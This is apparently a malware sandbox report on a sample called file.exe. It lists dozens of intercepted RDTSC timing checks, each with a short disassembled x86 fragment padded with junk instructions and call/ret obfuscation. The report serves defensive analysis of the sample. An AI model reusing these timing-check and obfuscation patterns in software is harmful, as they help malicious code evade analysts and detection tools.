Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DCFBD second address: 8DCFFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53F481BA89h 0x00000009 jmp 00007F53F481BA86h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jne 00007F53F481BA76h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD445 second address: 8DD44D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD44D second address: 8DD46A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53F481BA83h 0x00000009 jnp 00007F53F481BA76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD587 second address: 8DD58B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD6F7 second address: 8DD6FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD6FB second address: 8DD708 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F53F4F51F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD708 second address: 8DD70E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1164 second address: 8D119E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51FA7h 0x00000007 jne 00007F53F4F51F96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F53F4F51FA5h 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D119E second address: 8D11A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D11A4 second address: 8D11AE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F53F4F51F96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD88C second address: 8DD892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DE15B second address: 8DE164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DE307 second address: 8DE31D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 ja 00007F53F481BA76h 0x0000000f pop ecx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DE31D second address: 8DE327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F53F4F51F96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DE327 second address: 8DE32B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D113F second address: 8D1145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1145 second address: 8D1164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jbe 00007F53F481BA76h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f jo 00007F53F481BA76h 0x00000015 pop eax 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0442 second address: 8E0452 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F53F4F51F96h 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0973 second address: 8B097A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B097A second address: 8B0980 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0980 second address: 8B0986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0986 second address: 8B098A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5C72 second address: 8E5C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E46B9 second address: 8E46DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51FA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5E54 second address: 8E5E5E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F53F481BA76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EB698 second address: 8EB6A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EAC82 second address: 8EAC8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F53F481BA76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EAF55 second address: 8EAF5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EEA50 second address: 8EEA54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EEA54 second address: 8EEA63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53F4F51F9Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EEA63 second address: 8EEAB0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 6D060296h 0x0000000f jp 00007F53F481BA8Ah 0x00000015 jmp 00007F53F481BA81h 0x0000001a call 00007F53F481BA79h 0x0000001f push eax 0x00000020 push edx 0x00000021 jns 00007F53F481BA78h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EEC4F second address: 8EEC59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F53F4F51F96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EEEC9 second address: 8EEECF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EEFD0 second address: 8EEFD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF9D7 second address: 8EF9EF instructions: 0x00000000 rdtsc 0x00000002 ja 00007F53F481BA78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jnc 00007F53F481BA76h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF9EF second address: 8EF9F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFAAF second address: 8EFABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F53F481BA76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFABA second address: 8EFAC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFB5D second address: 8EFB66 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFCCA second address: 8EFCE3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F53F4F51F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F53F4F51F9Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFCE3 second address: 8EFCE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0C0B second address: 8F0C24 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F53F4F51F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F53F4F51F9Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0ACD second address: 8F0AD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F53F481BA76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0C24 second address: 8F0C5E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F53F4F51F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov dword ptr [ebp+122D2199h], edi 0x00000012 mov edi, dword ptr [ebp+122D35E6h] 0x00000018 push 00000000h 0x0000001a mov edi, esi 0x0000001c push 00000000h 0x0000001e mov si, A968h 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 pushad 0x00000025 jg 00007F53F4F51F96h 0x0000002b pushad 0x0000002c popad 0x0000002d popad 0x0000002e pop eax 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push ecx 0x00000033 jng 00007F53F4F51F96h 0x00000039 pop ecx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0AD7 second address: 8F0ADB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F14C1 second address: 8F14C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F281E second address: 8F2822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F2822 second address: 8F2826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F2826 second address: 8F282C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3B23 second address: 8F3B2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F54AD second address: 8F54C2 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F53F481BA7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9034 second address: 8F9039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F81D4 second address: 8F81D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9039 second address: 8F903F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F81D8 second address: 8F81DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F903F second address: 8F9043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FC81F second address: 8FC823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FC823 second address: 8FC830 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD7CE second address: 8FD850 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F53F481BA83h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F53F481BA78h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 adc di, E286h 0x0000002e mov ebx, edx 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+122D2F43h], esi 0x00000038 push 00000000h 0x0000003a push edi 0x0000003b mov bx, 4D67h 0x0000003f pop ebx 0x00000040 xchg eax, esi 0x00000041 jmp 00007F53F481BA86h 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a jmp 00007F53F481BA80h 0x0000004f push esi 0x00000050 pop esi 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD9C2 second address: 8FD9E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F53F4F51FA5h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD9E0 second address: 8FDA8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F481BA89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a xor edi, dword ptr [ebp+122D36A6h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov dword ptr [ebp+122D2EA1h], ecx 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007F53F481BA78h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 00000016h 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e jmp 00007F53F481BA7Bh 0x00000043 jmp 00007F53F481BA86h 0x00000048 mov eax, dword ptr [ebp+122D0FD9h] 0x0000004e push FFFFFFFFh 0x00000050 push 00000000h 0x00000052 push ebp 0x00000053 call 00007F53F481BA78h 0x00000058 pop ebp 0x00000059 mov dword ptr [esp+04h], ebp 0x0000005d add dword ptr [esp+04h], 00000017h 0x00000065 inc ebp 0x00000066 push ebp 0x00000067 ret 0x00000068 pop ebp 0x00000069 ret 0x0000006a sub dword ptr [ebp+122D1CF4h], ecx 0x00000070 nop 0x00000071 push edx 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDA8A second address: 8FDA8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FFBF5 second address: 8FFBF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 900988 second address: 90098E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEA6A second address: 8FEA76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FFBF9 second address: 8FFBFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEA76 second address: 8FEA7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90098E second address: 900A45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F53F4F51FA8h 0x00000008 jns 00007F53F4F51F96h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 jmp 00007F53F4F51F9Fh 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F53F4F51F98h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 00000016h 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 mov ebx, 58506D91h 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ecx 0x0000003f call 00007F53F4F51F98h 0x00000044 pop ecx 0x00000045 mov dword ptr [esp+04h], ecx 0x00000049 add dword ptr [esp+04h], 00000016h 0x00000051 inc ecx 0x00000052 push ecx 0x00000053 ret 0x00000054 pop ecx 0x00000055 ret 0x00000056 xchg eax, esi 0x00000057 push edi 0x00000058 jmp 00007F53F4F51FA8h 0x0000005d pop edi 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 je 00007F53F4F51FAEh 0x00000067 jmp 00007F53F4F51FA8h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEA7A second address: 8FEA83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 900A45 second address: 900A4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9018FF second address: 901909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F53F481BA76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 901909 second address: 90190D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 900B81 second address: 900C02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F53F481BA78h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000018h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 movsx ebx, cx 0x00000024 push dword ptr fs:[00000000h] 0x0000002b push edx 0x0000002c or dword ptr [ebp+122D2B21h], edi 0x00000032 pop edi 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a or dword ptr [ebp+122D30C8h], esi 0x00000040 mov eax, dword ptr [ebp+122D0BA9h] 0x00000046 push 00000000h 0x00000048 push edi 0x00000049 call 00007F53F481BA78h 0x0000004e pop edi 0x0000004f mov dword ptr [esp+04h], edi 0x00000053 add dword ptr [esp+04h], 00000019h 0x0000005b inc edi 0x0000005c push edi 0x0000005d ret 0x0000005e pop edi 0x0000005f ret 0x00000060 push FFFFFFFFh 0x00000062 mov dword ptr [ebp+122D2897h], ebx 0x00000068 nop 0x00000069 je 00007F53F481BA80h 0x0000006f pushad 0x00000070 push edx 0x00000071 pop edx 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 900C02 second address: 900C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F53F4F51F96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 900C11 second address: 900C15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 902963 second address: 9029D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51F9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F53F4F51F98h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 push ecx 0x00000025 pop edi 0x00000026 push 00000000h 0x00000028 mov edi, dword ptr [ebp+122D1A14h] 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D553Fh], edx 0x00000036 xchg eax, esi 0x00000037 pushad 0x00000038 push edx 0x00000039 jmp 00007F53F4F51FA9h 0x0000003e pop edx 0x0000003f jng 00007F53F4F51F98h 0x00000045 pushad 0x00000046 popad 0x00000047 popad 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c jo 00007F53F4F51F96h 0x00000052 pop eax 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905877 second address: 90589A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F53F481BA80h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jl 00007F53F481BA76h 0x00000015 push esi 0x00000016 pop esi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 907894 second address: 9078FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F53F4F51F98h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 xor edi, 1BE9C788h 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 call 00007F53F4F51F98h 0x00000035 pop edx 0x00000036 mov dword ptr [esp+04h], edx 0x0000003a add dword ptr [esp+04h], 00000016h 0x00000042 inc edx 0x00000043 push edx 0x00000044 ret 0x00000045 pop edx 0x00000046 ret 0x00000047 or ebx, 7A451BCCh 0x0000004d push eax 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F53F4F51F9Dh 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9059FE second address: 905A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905A03 second address: 905A1D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F53F4F51F9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F53F4F51F96h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905A1D second address: 905A21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905A21 second address: 905A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905A2B second address: 905A2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
